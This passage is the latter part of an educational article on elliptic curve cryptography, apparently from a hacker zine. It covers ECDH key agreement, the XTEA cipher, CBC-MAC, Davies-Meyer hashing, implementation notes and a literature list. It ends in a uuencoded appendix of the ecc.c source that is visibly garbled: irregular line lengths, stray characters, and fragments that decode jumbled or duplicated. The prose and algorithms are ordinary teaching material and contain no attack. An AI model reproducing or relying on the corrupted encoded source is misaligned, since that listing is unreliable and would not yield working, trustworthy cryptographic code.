1. Alice picks a random number 'a' with 1 <= a < n and sends P = a * g to Bob.

2. Bob picks a random number 'b' with 1 <= b < n and sends Q = b * g to Alice.

3. Alice checks that Q is a point on the curve that generates a group of order n (see the ECIES_public_key_validation routine). Alice calculates S = a * Q.

4. Bob checks that P is a point on the curve that generates a group of ordern n. He calculates T = b * P.

If everything went OK the equality S = T should hold.

---[6 - The XTEA Block Cipher, CBC-MAC and Davies-Meyer Hashing

XTEA is the name of a patent-free secure block cipher invented by Wheeler and Needham in 1997. The block size is 64 bits, keys are 128 bits long. The main benefit of XTEA over its competitors AES, Twofish, etc is the compact description of the algorithm:

```
void encipher(unsigned long m[], unsigned long key[])
{
  unsigned long sum = 0, delta = 0x9E3779B9;
  int i;
  for(i = 0; i < 32; i++) {
    m[0] += ((m[1] << 4 ^ m[1] >> 5) + m[1]) ^ (sum + key[sum & 3]);
    sum += delta;
    m[1] += ((m[0] << 4 ^ m[0] >> 5) + m[0]) ^ (sum + key[sum >> 11 & 3]);
  }
}
```

Let E be a symmetric encryption function with block length n, initialized with key k. The CBC-MAC of a message m is calculated as follows:

1. Split m in n-bit-long submessages m1, m2, m3, ...

2. Calculate the intermediate values t0 = E(length(m)), t1 = E(m1 XOR t0), t2 = E(m2 XOR t1), t3 = E(m3 XOR t2), ...

3. Return the last value obtained in step 2 as MAC(k, m) and discard t0, t1, t2, ...

Next we show how a block cipher can be used to build a cryptographic hash function using the "Davies-Meyer" construction. Let m be the message that is to be hashed. Let E(key,block) be a symmetric encryption function with block length n and key length l.

1. Split m in l-bit-long submessages m1, m2, m3, ...

2. Calculate the intermediate values h1 = E(m1, 0), h2 = E(m2, h1) XOR h1, h3 = E(m3, h2) XOR h2, ...

3. If h is the last intermediate value obtained in step 2 return E(length(m), h) XOR h as hash value and discard h1, h2, h3, ...

The code included in this article uses the block cipher XTEA in counter mode (CTR) for encryption, a CBC-MAC garantees message authenticity; finally KDF (see chapter 5) is implemented using XTEA in Davies-Meyer mode.

Read [XTEA] and [DMhashing] to learn more about the XTEA block cipher and the Davies-Meyer construction.

---[7 - Putting Everything Together: The Source Code

The public domain source code you find at the end of this document implements the ECIES public key encryption system over the curve B163. The code is commented, but we outline the design here.

1. The central data structure is a bit vector of fixed but "long" length. It is the base data type used to represent field elements and suchlike. The dedicated typedef is called bitstr_t. Appropriate routines for bit manipulation, shifting, bitcounting, importing from an ASCII/HEX representation, etc do exist.

2. The functions with "field_" prefix do the field arithmetic: addition, multiplication and calculation of the multiplicative inverse of elements are the important routines.

3. ECC points are represented as pairs of elem_t (an alias for bitstr_t), the special point-at-infinity as the pair (0,0). The functions prefixed with "point_" act on elliptic curve points and implement basic point operations: point addition, point doubling, etc.

4. The function "point_mult" implements the double-and-add algorithm to compute "k * (x,y)" in the way described in chapter 3 .

5. The "XTEA"-prefixed functions implement the XTEA block cipher, but also the CBC-MAC and the Davies-Meyer construction.

6. The "ECIES_"-routines do the ECIES related work. ECIES_generate_key_pair() generates a private/public key pair, ECIES_public_key_validation() checks that a given point is on the curve and generates a group of order "n". ECIES_encryption/ECIES_decryption do what their names imply.

7. A demonstration of the main ECIES functionalities is given in the program's main() section.

The code may be compiled like this:

```
gcc -O2 -o ecc ecc.c
```

---[8 - Conclusion

We have seen how crypto systems are built upon algebraical groups that have certain properties. We further gave an introduction into a special

```
class of appropriate groups and their theory, namely to the binary
elliptic curves. Finally we presented the secure public key encryption
scheme ECIES (together with necessary symmetrical components). All
this is implemented in the source code included in this article.

We recall that besides security the central design goal of the code
was compactness, not speed or generality. Libraries specialized on EC
cryptography benefit from assembler hand-coded field arithmetic
routines and easily perform a hundred times faster than this code.

If compactness is not essential for your application you might opt for
linking against one of the following ECC capable free crypto libraries
instead:

Crypto++ (C++)     http://www.eskimo.com/~weidai/cryptlib.html
Mecca (C)          http://point-at-infinity.org/mecca/
LibTomCrypt (C)    http://libtomcrypt.org/
borZoi (C++/Java)  http://dragongate-technologies.com/products.html



---[ 9 - Outlook


You have learned a lot about elliptic curves while reading this
article, but there still remains a bunch of unmentioned ideas. We
list some important ones:

1. Elliptic curves can be defined over other fields than binary ones.
   Let p be a prime number and Z_p the set of nonnegative integers
   smaller than p. Then Z_p forms a finite field (addition and
   multiplication have to be understood modulo p, see
   [ModularArithmetic] and [FiniteField]).

   For these fields the elliptic curve E(a, b) is defined to be the
   set of solutions of the equation

                        y^2 = x^3 + ax + b

   plus the point at infinity 'o'. Of course point addition and
   doubling routines differ from that given above, but essentially
   these "prime curves" form an algebraical group in a similar way as
   binary curves do. It is not that prime curves are more or less
   secure than binary curves. They just offer another class of groups
   suitable for cryptographic purposes.

   NIST recommends five prime curves: P192, P224, P256, P384 and P521.

2. In this article we presented the public key encryption scheme
   ECIES.  It should be mentioned that ECC-based signature schemes
   (see [ECDSA]) and authenticated key establishment protocols ([MQV])
   do also exist. The implementation is left as exercise to the
   reader.

3. Our double-and-add point multiplicator is very rudimentary.  Better
   ones can do the "k * P" job in half the time. We just give the idea
   of a first improvement:

   Suppose we want to calculate 15 * P for a curve point P. The
   double-and-add algorithm does this in the following way:

       15 * P = 2 * (2 * (2 * (2 * 'o' + P) + P) + P) + P

   This takes three point doublings and three point additions
   (calculations concerning 'o' are not considered).

   We could compute 15 * P in a cleverer fashion:

       15 * P = 16 * P - P = 2 * 2 * 2 * 2 * P - P
```

This takes four doublings plus a single addition; hence we may expect point multiplicators using this trick to be better performers than the standard double-and-add algorithm. In practice this trick can speed up the point multiplication by about 30%.

See [NAF] for more information about this topic.

4. In implementations the most time consuming field operation is always the element inversion. We saw that both the point addition and the point doubling routines require one field division each. There is a trick that reduces the amount of divisions in a full "k * P" point multiplication to just one. The idea is to represent the curve point (x,y) as triple (X,Y,Z) where x = X/Z, y = Y/Z. In this "projective" representation all field divisions can by deferred to the very end of the point multiplication, where they are carried out in a single inversion.

   Different types of coordinate systems of the projective type are presented in [CoordSys].

---[A - Appendix: Literature

A variety of interesting literature exists on elliptic curve cryptography. I recommend to start with [G2ECC] and [ECIC]. Other good references are given in [ECC].

Elliptic curves and cryptographical protocols using them have been standardized by IEEE [P1363], ANSI (X9.62, X9.63) and SECG [SECG], to list just some.

See [Certicom] and [ECCPrimer] for two tutorials about ECC.

The best reference about classical cryptography is [HAC].

[G2ECC] Hankerson, Menezes, Vanstone, "Guide to Elliptic Curve Cryptography", Springer-Verlag, 2004 http://www.cacr.math.uwaterloo.ca/ecc/

[ECIC] Blake, Seroussi, Smart, "Elliptic Curves in Cryptography", Cambridge University Press, 1999 http://www.cambridge.org/aus/catalogue/catalogue.asp?isbn=0521653746

[HAC] Menezes, Oorschot, Vanstone: "Handbook of Applied Cryptography", CRC Press, 1996, http://www.cacr.math.uwaterloo.ca/hac/

[Groups] http://en.wikipedia.org/wiki/Group_(mathematics)
[Lagrange] http://en.wikipedia.org/wiki/Lagrange's_theorem
[CyclicGroups] http://en.wikipedia.org/wiki/Cyclic_group
[GroupTheory] http://en.wikipedia.org/wiki/Elementary_group_theory
[DLP] http://en.wikipedia.org/wiki/Discrete_logarithm
[DH] http://en.wikipedia.org/wiki/Diffie-Hellman
[ElGamal] http://en.wikipedia.org/wiki/ElGamal_discrete_log_cryptosystem
[AliceAndBob] http://en.wikipedia.org/wiki/Alice_and_Bob
[FiniteField] http://en.wikipedia.org/wiki/Finite_field
[FieldTheory] http://en.wikipedia.org/wiki/Field_theory_(mathematics)
[FieldTheoryGlossary] http://en.wikipedia.org/wiki/Glossary_of_field_theory
[FieldArithmetic] http://en.wikipedia.org/wiki/Finite_field_arithmetic
[ModularArithmetic] http://en.wikipedia.org/wiki/Modular_arithmetic
[ECC] http://en.wikipedia.org/wiki/Elliptic_curve_cryptography
[EllipticCurve] http://en.wikipedia.org/wiki/Elliptic_curve
[PointArith] http://wikisource.org/wiki/Binary_Curve_Affine_Coordinates
[DoubleAndAdd] http://en.wikipedia.org/wiki/Exponentiation_by_squaring
[NIST] http://csrc.nist.gov/CryptoToolkit/dss/ecdsa/NISTReCur.ps
[NISTParams] http://wikisource.org/wiki/NIST_Binary_Curves_Parameters
[PollardRho] http://en.wikipedia.org/wiki/
Pollard's_rho_algorithm_for_logarithms
[XTEA] http://en.wikipedia.org/wiki/XTEA

[DMhashing] http://en.wikipedia.org/wiki/Davies-Meyer_construction
[ECDSA] http://en.wikipedia.org/wiki/Elliptic_Curve_DSA
[MQV] http://en.wikipedia.org/wiki/MQV
[NAF] http://en.wikipedia.org/wiki/Non-adjacent_form
[CoordSys] http://wikisource.org/wiki/Wikisource:Cryptography
[P1363] http://en.wikipedia.org/wiki/IEEE_P1363
[SECG] http://en.wikipedia.org/wiki/SECG
[Certicom] http://www.certicom.com/index.php?action=ecc,ecc_tutorial
[ECCPrimer] http://linuxdevices.com/articles/AT7211498192.html

---[B - Appendix: Code

```
$ cat ecc.c.uue
begin 644 ecc.c
```


```
M+RH@"B`@5&AI<R!P<F]G<F%M(&EM<&QE;65N=',@=&AE($5#2453('!U8FQI
M8R!K97D@96YC<GEP=&EO;B!S8VAE;64@8F%S960@;VX@=&AE"B`@3DE35"!"
M,38S(&5L;&EP=&EC(&-U<G9E(&%N9"!T:&4@6%1%02!B;&]C:R!C:7!H97(N
M(%1H92!C;V1E('=A<R!W<FET=&5N"B`@87,@86X@86-C;VUP86YI;65N="!F
M;W(@86X@87)T:6-L92!P=6)L:7-H960@:6X@<&AR86-K(",V,R!A;F0@:7,@
M<F5L96%S960@=&\*("!T:&4@<'5B;&EC(&1O;6%I;BX**B\*"B-I;F-L=61E
M(#QS=&1I;GN:#X*(VEN8VQU9&4@/'-T9&QI8BYH/@HC:6YC;'5D92`\<W1R
M:6YG+F@^"B-I;F-L=61E(#QF8VYT;"YH/@HC:6YC;'5D92`\=6YI<W1D+F@^
M"B-I;F-L=61E(#QS=&1I;RYH/@HC:6YC;'5D92`\;F5T:6YE="]I;BYH/@H*
M(V1E9FEN92!-04-23RA!*2!D;R![($$[('=H:6QE("@P*0H*(V1E9FEN92!-
M24XH82P@8BD@*"AA*2`\("AB*2`_("AA*2`Z("AB*2D*(V1E9FEN92!#2$%2
M4S))3E0H<'1R*2!N=&]H;"@J*"5I;G0S,E]T*BDH<'1R*2D*(V1E9FEN92!)
M3E0R0TA!4E,H<'1R+"!V86PI($U!0U)/*"`J*"5I;G0S,E]T*BDH<'1R*2`]
M(&AT;VYL*'9A;"DI"B`@*0H*(V1E9FEN92!$159?4D%.1$]-("(O9&5V+W5R86YD
M;VTB"@HC9&5F:6YE($9!5$%,*'-T<BD@34%#4D\H(&9P<FEN=&8H<W1D97)R+"`B
M,C4U*2`I"@HO*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ+PH*
M(V1E9FEN92!$14=2144@,38S("`@("`@("`@("`@("`@("`@("\J('1H
M92!D96=R964@;V8@=&AE(&9I96QD('!O;'EN;VUI86P@*B\*(V1E9FEN92!-
M05)'24X@,R`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("\J(&1O;B=T('1O=6-H('1H:7,@*B\*(V1E9FEN92!.54U73U)$4R`H
M*$1%1U)%12`K($U!4D=)3B`K(#,Q*2`O(#,R*2`@+RH@=&AE(&9O;&QO
M=VEN9R!T>7!E(')E<&P@<F5P<F5S96YT(&)I="!V96-T;W)S('=I=&@@(&]F(&QE;F=T
M:"`@H1$5'4D5%*TU!4D=)3BD@=&AE($9I96QD('!O;'EN;VUI86P@8FET
M=%M.54U73U)$4UT["@H@("`@("`@("\J('-O;64@8F%S:6,@8FET+6UA;FEP=6QA
M=&EO;B!R;W5T:6YE<R!T:&%T(&%C="!O;B!T:&5S92!V96-T;W)S(&9O;&QO
M=R`J+PHC9&5F:6YE(&)I=''-T<E]G971B:70H02QI*2`H*$%;*&DI("\@,S)=
M(#X^("@H:2D@)2`S,BDI("8@,2D*(V1E9FEN92!B:71V96-?<V5T8FET*$$L
M:2D@*$%;*&DI("\@,S)=('P](#$@/#P@*"AI*2`E(#,R*2D*(V1E9FEN92!B
M:71V96-?8VQR8FET*$$L:2D@*$%;*&DI("\@,S)=("8](#Q^("@H:2D@)2`S
M,C(I*0H*(V1E9FEN92!B:71V96-?8V]P>2A!+"!"*2!-04-23R@@<'1R9&EF
M9E]T(%]I.R!F;W(H7VD@/2!.54U73U)$4R`M(#$[(%]I(#X](#`[(%]I+2TI
M($%;7VE=(#T@0EM?:5T[("D*(V1E9FEN92!B:71V96-?:7-?97%U86PH02P@
M0BD@*&UE;6-M<"A!+"!"+"!S:7IE;V8H8FET=F5C7W0I*2`]/2`P*0H*(V1E
M9FEN92!B:71V96-?:7-?>F5R;R!;0BAB:71V96-?:7-?>F5R;RA!*2`H(0H*
M;W!Y*$(L($$I.R!B:71V96-?;'-H:69T*$%;(&$@8FET=F5C7W1]"@I'1E
M9VEN92!B:71V96-?:7-?,#(@:7,@=&AE(&YU;6)E<B!O9B!R969E<F5N
M8V5S(&EN('1H92!S=&%C:R!O9B!B:71V96-T;W(@*B\*"G-T871I8R!I;G0@
M8FET=F5C7V=E=%]B:71?9&5G<F5E*&-O;G-T(&)I='9E8U]T('@I"GL*("!I
M;G0@:3L*("!F;W(H:2`](#`[(&D@/"`Q,C@[(&DK*RD@>PH@("`@:68H8FET
```

```
M,BD@>PH@("`@9F]R*&D@/2!.54U73U)$4R`M(#$[(&D@/B`P.R!I+2TI"B`@
M("`@($%;:5T@/2`H05MI72`\/"!C;W5N="D@?"`H05MI("T@,5T@/CX@*#,R
M("T@8V]U;G0I*3L*("`@($%;,%T@/#P]("(&-O=6YT.PH@('T*?0H*("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`O*B`H<F%W
M*2!I;7!O<G0@9G)O;2!A(&)Y=&4@87)R87D@*B\*=F]]I9"!B:71S=')?:6UP
M;W)T*&)I='-T<E]T('@L(&-O;G-T(&-H87(@*G,I"GL*("!I;G0@:3L*("!F
M;W(H:>"`K/2!.54U73U)$4RP@:2`](#`[(&D@/"!.54U73U)$4SL@:2LK+"!S
M("L](#0I"B`@("`J+2UX(#T@0TA!4E24Y4*',I.PI]"@H@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@+RH@*')A=RD@
M97AP;W)T('1O(&$@8GET92!A<G)A>2`J+PIV;VED(&)I='-T<E]E>'!O<G0H
M8VAA<B`J<RP@8V]N<W0@8FET<W1R7W0@>"D*>PH@(&EN="!I.PH@(&9O<BAX
M("L]($Y535=/4D13+"!I(#T@,#L@:2`\($Y535=/4D13.R!I*RLL(',@*ST@
M-"D*("`@($E.5#)#2$%24RAS+"`J+2UX*3L*?0H*("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`O*B!E>'!O<G0@87,@:&5X(&-H87)S("H@*&-H87)S
M;G5L;"UT97)M:6YA=5D(2D@*B\*=F]]I9"!B:71S=')?:&5X*&-H87(@*&-H87(@*G,L
M*G,L(&-O;G-T(&)I='-T<E]T('@I"GL*("!I;G0@:3L*("!F;W(H>"`K/2!.
M54U73U)$4RP@:2`](#`[(&D@/"!.54U73U)$4SL@:2LK+"!S("L](#@I"B`@
M("!S<')I;G1F*',L("(E,#AX(BP@*BTM>"D["B`@?0H@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@+RH@:6UP;W)T
M(&9R;VT@82!H97@@<W1R:6YG("HO"FEN="!B:71S=')?:6UP;W)T7VAE>"AB
M:71S=')?="!X+"!C;VYS="!C:&%R("IS*0I[("!I;G0@:2P@:CL*"B`@9F]R
M;B`](#`[($I]("`@($D@)"1R+CA``U`C(3U(-$%2%1#%D@(T%2E@HHN0'P(
```

```
M<75A;"!T;R`Q("AT:&ES(&ES('1H92!C87-E(&9O<B!A;&P@3DE35"!B:6YA
M<GD*("`@8W5R=F5S*2X@0V]E9F9I8VEE;G0@)V(G(&ES(&=I=F5N(&EN("=C
M;V5F9E]B)RX@("<H8F%S95]X+"!B87-E7WDI)PH@("!I<R!A('!O:6YT('1H
M870@9V5N97)A=&5S(&$$@;&%R9V4@<')I;64@;W)D97(@9W)O=7`N("`@("`@
M("`@("`@("HO"@IE;&5M7W0@8V]E9F9I?8BP@8F%S95]X+"!B87-E7WD["@HC
M9&5F:6YE('!O:6YT7VES7WIE<F\H>"P@>2D@*&)I='-T<E]I<U]C;&5A<BAX
M*2`F)B!B:71S=')?:7-?8VQE87(H>2DI"B-D969I;F4@<&]I;G1?<V5T7WIE
M<F\H>"P@>2D@34%#4D\H(&)I='-T<E]C;&5A<BAX*3L@8FET<W1R7V-L96%R
M*'DI("D*(V1E9FEN92!P;VEN=%]C;W!Y*'@Q+"!Y,2P@>#(L('DR*2!-04-2
M3R@@8FET<W1R7V-O<'DH>#$L('@R*3L@7'H@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("!B:71S=')??8V]P>2AY,2P@>3(I("D*
M"B`@("`@("`@("`@("`@("`@("`@("`@("`@("\J(&-H96-K(&EF('E>,B`K
M('@J>2`](IX7C(@*R!C;V5F9E]B(&AO;&1S("HO"FEN="!I<U]P
M;VEN=%]O;E]C=7)V92AC;VYS="!E;&5M7W0@>"P@8V]N<W1?96QE;5]T('DI
M"GL*("!E;&5M7W0@82P@8CL*("!I9B`H<&]I;G1?:7-?>F5R;RAX+"!Y*2D*
M("`@('`)E='5R;B`Q.PH@(&9O<B!A(&1E9FEN960@?&1V=5U;'0H82P@82P@>"D["B`@
M;75L=')I8G0H82P@82P@>"D["B`@9FEE;&1?861D*&$L(&$L(&-O969F7V$I.PH@
M9FEE;&1?861D*&$L(&$L(&(I.PH@(&9I96QD7VUU;'0H8BP@>2P@>2D["B`@
M<F5T=7)N(&)I='-T<E]I<U]E<75A;"AA+"!B*3L*?0H*"B\J(&9I96QD7VUU
M;W5B;&4H<&]I;G0I("HO"G-T871I8R!V;VED(&=F,E]P;VEN=%]D;W5B;&4H
M=6)L92!T:&4@<&%R=&EC=6QA<B!F;W)M=6QA<R!G:79E;B!W:71H:6X@=&AE
M;&%S<R!F:65L9"!E;&5M96YT<R`J+PH@("!E;&5M7W0@;"P@9FEE;&1?;75L
M;"`@:6YV97)S92AX*3L@(&-O;7!U=&4@>3TH>"`K('DO>"D@:6X@9FEE;&1?
M;#DH>"P@>2D["B`@("`@+R]N;W1E(&%R9W5M96YT(&]R9&5R(&ES('-I9VYI
M;'DH82P@82P@>"D["B`@9FEE;&1?861D*&$L(&$L(&(I.PH@(&9I96QD7VUU
M861D*&$L(&$L('DI.PH@(&9I96QD7VUU;'0H82P@82P@>"D["B`@9FEE;&1?
M;75L=')I8G0H82P@82P@>"D["B`@9FEE;&1?861D*&$L(&$L('DI.PH@(&9I
M96QD7VUU;'0H82P@82P@>"D["B`@9FEE;&1?861D*&$L(&$L("AP?<F1E
M9G1E<E]I;G9E<G-E*"@@("`@("`@("`@("`@("`@("`@("`@("`@("`@("\J("`@
M;W-E(&EN=&]R96%L(&EN("!E;F-O9&EN9R`F(&-O;7!U=&5S(&(@*R!C;V5F
M:6-I96YT7V8@*R!F:65L9"!E;&5M96YT(&EN('-U<&5R<V5T('1O('1H92!P
M961D>2!B:71S=')?;6%T8V@@*B\*=F]I9"!C;&]S92AE;&5M7W0@>2D*>PH@
M96QD7V%D9"AB+"!B+"!C;V5F9E]B*3L*("!F:65L9"!?8BP@8BP@82D["B`@
M9FEE;&1?861D*&$L(&$L(&(I.PH@("!B:71S=')?;6%T8V@@=VET:"!M;V1U
M;&]P;W1E;G1I86PH8VAA;F=E(')E=')N('1H92!C;&]S:6YG(&5X<&]N96YT
M,2P@<FUE;G0I.PH@("!E;&5M7W0@=V]R:W-P86-E6S5D*3L@("!E;&5M7W0@
M8VAE8VMS=6TH<&]I;G0I("HO"FEN="!C:&5C:W-U;2AC;VYS="!E;&5M7W0@
M8&%S95]X+"!C;VYS="!E;&5M7W0@8F%S95]Y*3L@("`@("`@("`@("`@("`@("`@
M+PH@("!I;G0@<F5S=6QT.PH@("!I;G0@<F5S=6QT(#T@,#L@("`@("`@("`@("`@
M9FEE;&1?;75L=`@*B\*=F]I9"!B:71S=')?:6YV97)S92@I.PH@("!?8F]O
M96%N=&%T:6]N(&5T8RXN+BX@9V5T(&$@<V5C=7)E(&-H96-K<W5M(&9O<B!T
M;&]O<"!S:&EF="!W;W)K(&]N(&%N>2!B:71S=')?:7-?<&]S:71I=F4@*B`@
M:6YT(&9I96QD7W1R86-E*&-O;G-T(&5L96U?="!X*0I[("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("\J(&1R
M87<@82!R86YD;VT@=6YI9F]R;2!P;VEN="!G96YE<F%T960@8GD@<V]M92!D
M=F]I9"!F:65L9"!?<F%N9&]M*&5L96U?="!X*0I[("!I;G0@:3L*("!F;W(@
M*&D@/2`P.R!I(#P@3E5-5T]21%,[(&DK*RD@>`H@("!X6VE=(#T@<F%N9"@I
M.PH@('A;3E5-5T]21%,@+2`Q72`F/2!-05-+.PI]"@IS=&%T:6,@=F]I9"!F
M;%]M=6QT:7!L>2AE;&5M7W0@>"P@8V]N<W0@96QE;5]T('DL(&EN="!N*0I[
M"B`@96QE;5]T('1M<#L*("!B:71S=')?8V]P>2AT;7`L('DI.PH@(&9O<B`H
M:7-?9F%L<V4H:2D[(&$L('-I9VYE9"!C:&%R("HO"G9O:60@?&EE;&1?:6YV
M97)T+"!I(#T@=&UP*&Y=("D@(%T[(&EF*&(I('M]"B`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@+PH*=V]I9"!P;VEN
```

```
M:71?:V5Y*'5I;G0S,E]T("IK+"!C;VYS="!C:&%R("IK97DI"GL*("!K6S!=
M(#T@0TA!4E,R24Y4*&ME>2`K(#`I.R!K6S%=(#T@0TA!4E,R24Y4*&ME>2`K
M(#0I.PH@(&M;,ET@/2!#2$%24S))3E0H:V5Y("L@."D[(&M;,UT@/2!#2$%2
M4S))3E0H:V5Y("L@,3(I.PI]"@H@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("\J('1H92!85$5!(&)L;V-K
M(&-I<&AE<B`J+PIV;VED(%A414%?96YC:7!H97)?8FQO8VLH8VAA<B`J9&%T
M82P@8V]N<W0@=6EN=#,R7W0@*FLI"GL*("!U:6YT,S)?="!S=6T@/2`P+"!D
M96QT82`](#!X.64S-S<Y8CDL('DL('H["B`@:6YT(&D["B`@>2`](%-(05)3
M,DE.5"AD871A*3L@>B`](%-(05)3,DE.5"AD871A("L@-"D["B`@9F]R*&D@
M/2`P.R!I(#P@,S([(&DK*RD@>PH@("`@>2`K/2`H*'H@/#P@-"D@7B`H>B`^
M/B`U*2`K('HI(%X@*'-U;2`K(&M;*'-U;2`F(#,I72D[("`@("`@("`@("`@
M83L*("`@('H@*ST@*"AY(#P\(#0I(%X@*'D@/CX@-2D@*R!Y*2!>("AS=6T@
M:UMS=6T@/CX@,3$@)B`S72D[(&M;,L*(`@("`@("`@("`@("`@("`@("`@
M24Y4,D-(05)3*'H@+"!D871A("L@-"D["B`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@+RH@96YC<GEP
M="!I;B!#5%(@;6]D92`J+PIV;VED(%A414%?96YC<GEP=&)L;V-K*%A414%?
M=&$L(&EN="!S:7IE+"!C;VYS="!C:&%R("IK97DI("I["B`@=6EN=#,R7W0@
M:ULT72P@8W1R(#T@,"L*("!I;G0@:3L*("!I+PH@(&-H87(@8G5F6S%=.PH@
M(%A414%?:6YI=%]K97DH:RP@:V5Y*3L*("!W:&EL92AS:7IE*2![("`@("!)
M3E0R0TA!4E,H8G5F+"`P*3L@24Y4,D-(05)3*&)U9B`K(#0L(&-T<BLK*3L*
M("`@(%A414%?96YC:7!H97)?8FQO8VLH8G5F+"!K*3L*("`@(&9O<BAI(#`)
M3B@X+"!S:7IE*3L*("`@(&9O<BAI(#T@,#L@:2`\(&QE;CL@:2LK*0H@("`@
M("`J9&%T82LK(%X](&)U9EMI73L*("`@('-I>F4@+3T@;&5N.PH@('T*?0H*
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`O*B!C86QC=6QA=&4@=&AE($$-"0R!-04, ,@*B\*=6EN=#,R7W0@8W)C,S(H
M7V-B8VVUA8RAC:&%R("IM86,L(&-O;G-T(&-H87(@*F1A=&$L(&EN="!S:7IE
M+"!C;VYS="!C:&%R("IK97DI"GL*("!U:6YT,S)?="!S/2`P.R!I;G0@:3L*
M96XL(&-T<CL*("!C:&%R(&)U9ELX73L*("!I;G0@;&5N+"!I.PH@(&-H87(@
M8G5F6S%=.PH@(%A414%?:6YI=%]K97DH:RP@:V5Y*3L*("!W:&EL92AS:7IE
M*2![("`@(&QE;B`](&UI;BX@.#,@8G5F6S%=*3L*("`@(&9O<BAI(#T@,#L@
M:2`\(&QE;CL@:2LK*2!B=69;:5T@7B`J9&%T82LK.PH@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@+RH@8V%L8W5L871E(&$@0T)#+4U!
M0R`J+PIV;VED(%A414%?8V)C;6%C*&-H87(@*FUA8RP@8V]N<W0@8VAA<B`J
M9&%T82P@:6YT('-I>F4L(&-O;G-T(&-H87(@*FME>2D@*7L*("!U:6YT,S)?
M="!K6S1=.PH@(&EN="!L96XL(&D["B`@8VAA<B!B=69;.%T["B`@>&5A7VEN
M:71?:V5Y*&LL(&ME>2D["B`@;65M<V5T*&)U9BP@,"P@."D["B`@=VAI;&4H
M<VEZ92D@>PH@("`@;&5N(#T@;6EN*#@L('-I>F4I.PH@("`@9F]R*&D@/2`P
M.R!I(#P@;&5N.R!I*RLI(&)U9EMI72!>/2`J9&%T82LK.PH@("`@6%1%05]E
M;F-I<&AE<E]B;&]C:RAB=68L(&LI.PH@("`@<VEZ92`M/2!L96X["B`@?0H@
M(&UE;6-P>2AM86,L(&)U9BP@."D["GT*"B\J(&-A;&-U;&%T92!T:&4@=&%G
M(&]F(&$@<&%C:V5T("HO"G9O:60@8V%L8U]T86<H8VAA<B`J=&%G+"!C;VYS
M="!C:&%R("IP:W0L(&EN="!S:7IE+"!C;VYS="!C:&%R("IK97DI"GL*("!C
M:&%R(&)U9ELX73L*("!I;G0@:3L*("!X=&5A7V-B8VUA8RAB=68L('!K="P@
M<VEZ92P@:V5Y*3L*("!F;W(H:2`](#`[(&D@/"`X.R!I*RLI('1A9UMI72`]
M(&)U9EMI73L*?0H*+RH@8VAE8VL@=&AE('1A9R!O9B!A('!A8VME="`J+PII
M;G0@8VAE8VM?=&%G*&-O;G-T(&-H87(@*G1A9RP@8V]N<W0@8VAA<B`J<&MT
M+"!I;G0@<VEZ92P@8V]N<W0@8VAA<B`J:V5Y*0I["B`@8VAA<B!B=69;.%T[
M"B`@:6YT(&D["B`@>'1E85]C8F-M86,H8G5F+"!P:W0L('-I>F4L(&ME>2D[
M"B`@9F]R*&D@/2`P.R!I(#P@.#L@:2LK*0H@("`@:68H=&%G6VE=("$](&)U
M9EMI72D@<F5T=7)N(#`["B`@<F5T=7)N(#$["GT*"B\J(&=E=&-O;6UA;F0@
```

```
M8VAA<B`J:S$L(&-H87(@*FLR+"!C;VYS="!E;&5M7W0@6G@L("`@("`O*B!A
M(&YO;BUS=&%N9&%R9"!+1$8@*B\*"2`@("`@("!C;VYS="!E;&5M7W0@4G@L
M(&-O;G-T(&5L96U?="!2>2D*>PH@(&EN="!B=69S:7IE(#T@*#,@*B`H-"`J
M($Y535=/4D13*2`K(#$@*R`Q-2D@)B!^,34["B`@8VAA<B!B=69;8G5F<VEZ
M95T["B`@;65M<V5T*&)U9BP@,"P@8G5F<VEZ92D["B`@8FET<W1R7V5X<&]R
M="AB=68L(%IX*3L*("!B:71S=')?97AP;W)T*&)U9B`K(#0@*B!.54U73U)$
M4RP@4G@I.PH@(&)I='-T<E]E>')!O<G0H8G5F("L@."`J($Y535=/4D13+"!2
M>2D["B`@8G5F6S$R("H@3E5-5T]21%--=(#T@,#L@6%1%05]D879I97-?;65Y
M97(H:S$L(&)U9BP@8G5F<VEZ92`O(#$V*3L*("!B=69;,3(@*B!.54U73U)$
M4UT@/2`Q.R!85$5!7V1A=FEE<U]M97EE<BAK,2`K(#@L(&)U9BP@8G5F<VEZ
M92`O(#$V*3L*("!B=69;,3(@*B!.54U73U)$4UT@/2`R.R!85$5!7V1A=FEE
M<U]M97EE<BAK,BP@8G5F+"!B=69S:7IE("\@,38I.PH@(&)U9ELQ,B`J($Y5
M35=/4D1372`](#,[(%A414%?9&%V:65S7VUE>65R*&LR("L@."P@8G5F+"!B
M=69S:7IE("\@,38I.PI]"@HC9&5F:6YE($$5#24537T]615)%(%9"14%$4"@X("H@
M3E5-5T]21%,@*R`X*0H*("`@("`@("`@("`@("`@("`@+RH@14-)15,@96YC
M<GEP=&EO;CL@=&AE(')E<W5L=&EN9R!C:7!H97(@=&5X="!M97-S86=E(')I
M;&P@8F4*("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`H;&5N("L@14-)15-?3U9%4DA%040I(&)Y=&5S(&QO;F<@*B\*=F]I
M9"!%%0TE%4U]E;F-R>7!T*&-H87(@*FUS9RP@8V]N<W0@8VAA<B`J=&%N=&5X
